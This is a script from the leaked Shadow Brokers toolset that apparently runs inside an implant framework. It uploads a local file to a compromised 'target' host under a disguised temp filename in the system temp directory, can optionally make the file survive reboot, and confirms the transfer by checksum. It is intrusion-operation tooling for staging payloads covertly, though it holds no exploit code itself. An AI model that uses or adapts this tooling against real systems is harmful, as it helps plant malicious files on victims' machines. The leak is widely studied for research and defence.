shadowbrokers-exploits/windows/Resources/Ep/Scripts/safeput.eps

### do a safe/clean put based on filename and checksum

### usage stuff
@echo off;

	if ($argv[1] == "?")
	{
		echo "Safely move a file from the local machine to the target after ensuring the file\ndoes not already exist\n";
		echo "It also performs a check to ensure the file was copied intact\n";
		echo "If no target path\\name is provided the file will be assigned a temp name and \nplaced in the system's temp dir\n";
		echo "The temp name will be \"~a0001[number gen'd from the clock].tmp\" (ex: ~a0001062.tmp)\n";
		echo "The file will be marked for deletion on reboot unless the -permanent flag is used\n";
		echo "Usage: ";
		echo "$argv[0] [local path\\local name] <target path\\target name> <-permanent>\n";
		echo "Examples:";
		echo "$argv[0] c:\\test.txt c:\\somedir\\newFile.txt -permanent";
		echo "$argv[0] c:\\temp.exe -permanent\n\n";
		echo "$argv[0] c:\\test.txt c:\\somedir\\newFile.txt";
		echo "$argv[0] c:\\temp.exe\n\n";
		return true;
	}

### declarations

	string $localfile 	= $argv[1];
	bool $gentempname	= true;
	string $targetfile	= "";
	string $temppath	= "";
	string $targetname 	= "";
	string $localname	= "";
	string $targetpath	= "";
	string $localpath	= "";
	bool $perm		= false;
	int $i;
	int $x;
	
	
### build stuff needed for l8r

	if($argc > 2)
	{
		$i = sizeof($argv);
		$x = 0;

		while($x < $i)
		{
			string $search = "$argv[$x]";
			string $check = "-permanent";
		
			if($search == $check)
			{
				$perm = true;
			}
	
			$x++;
		}
		
		if($perm == false && $argc > 2)
		{	
			$targetfile  = "$argv[2]";
			$gentempname = false;
	
			string $targettmp = split("\\",$targetfile);
			$i = sizeof($targettmp);
			$x = 0;	
			$i--;
			$targetname = "$targettmp[$i]";
			$targetpath = "$targettmp[$x]";
			$x++;
		
			while($x < $i)
			{
				$targetpath = "$targetpath\\$targettmp[$x]";
				$x++;
			}
		}
		else if($perm == true && $argc > 3)
		{
			$targetfile  = "$argv[2]";
			$gentempname = false;
	
			string $targettmp = split("\\",$targetfile);
			$i = sizeof($targettmp);
			$x = 0;	
			$i--;
			$targetname = "$targettmp[$i]";
			$targetpath = "$targettmp[$x]";
			$x++;
		
			while($x < $i)
			{
				$targetpath = "$targetpath\\$targettmp[$x]";
				$x++;
			}
		}
	}

	string $tmp = split("\\",$localfile);
	$i = sizeof($tmp);
	$x = 0;	
	$i--;
	$localname = "$tmp[$i]";
	$localpath = "$tmp[$x]";
	$x++;
	while($x < $i)
	{
		$localpath = "$localpath\\$tmp[$x]";
		$x++;
	}

### generates tmp filename if one is not provided

	if ($gentempname) 
	{
		echo "Generating temporary filename!!\n";
		
		@record on;
		ifnot(`lpgetenv -option temppath`) 
		{
			`script temppath.eps`;
			ifnot (`lpgetenv -option temppath`) 
			{
				echo "Could not get temp path.";
				return false;
			}
			else
			{
				$temppath=GetCmdData("value");
			}
		}
		else
		{
			$temppath=GetCmdData("value");
		}
		@record off;
		
		$targetpath = "$temppath";

		@record on;
		`remotelocaltime`;
		string $time = GetCmdData("remotetime");
		string $timesplit = split(".", $time);
		@record off;
		$targetname = "~a0001$timesplit[1].tmp";
		$targetfile = "$targetpath\\$targetname";
		echo "Target filename is: $targetfile\n";
	}

### check to see if file already exists and put it

	echo "Checking if $targetname already exists in $targetpath...\n";

	ifnot (`dir "$targetname" -path "$targetpath"`)
	{
		echo "$targetname does not exist ... moving $targetname to target!!\n";
		if($perm)
		{
			echo "File -WILL NOT- be deleted at reboot\n";

			ifnot(`put "$localfile" -name "$targetfile" -permanent`)
			{
				echo "Could not transfer $targetname to $targetpath!!!\n";
				return false;
			}
		}
		else
		{
			echo "File -WILL BE- deleted at reboot\n";

			ifnot(`put "$localfile" -name "$targetfile"`)
			{
				echo "Could not transfer $targetname to $targetpath!!!\n";
				return false;
			}
		}	
	}
	else
	{
		echo "$targetname already exists in $targetpath\n";
		echo "Choose another name!!!\n\n";
		return false;
	}

### make sure file was transferred intact

	echo "Now performing integrity check ...\n";

	@record on;
	`checksum -mask "$targetname" -path "$targetpath"`;
	string $targetChecksum=GetCmdData("checksum_value");
	`local checksum -mask "$localname" -path "$localpath"`;
	string $localChecksum=GetCmdData("checksum_value");
	@record off;

	if ($targetChecksum != $localChecksum) 
	{
		echo "Checksums do not match!";
		echo "  Local  - $localname:\t\t\t$localChecksum";
		echo "  Remote - $targetname:\t\t$targetchecksum";
		return false;
	} 
	else 
	{
		echo "Checksums have been automatically verified.";
		echo "  Local  - $localname:\t\t\t$localChecksum";
		echo "  Remote - $targetname:\t\t$targetchecksum";
		return true;
	}
	@echo on;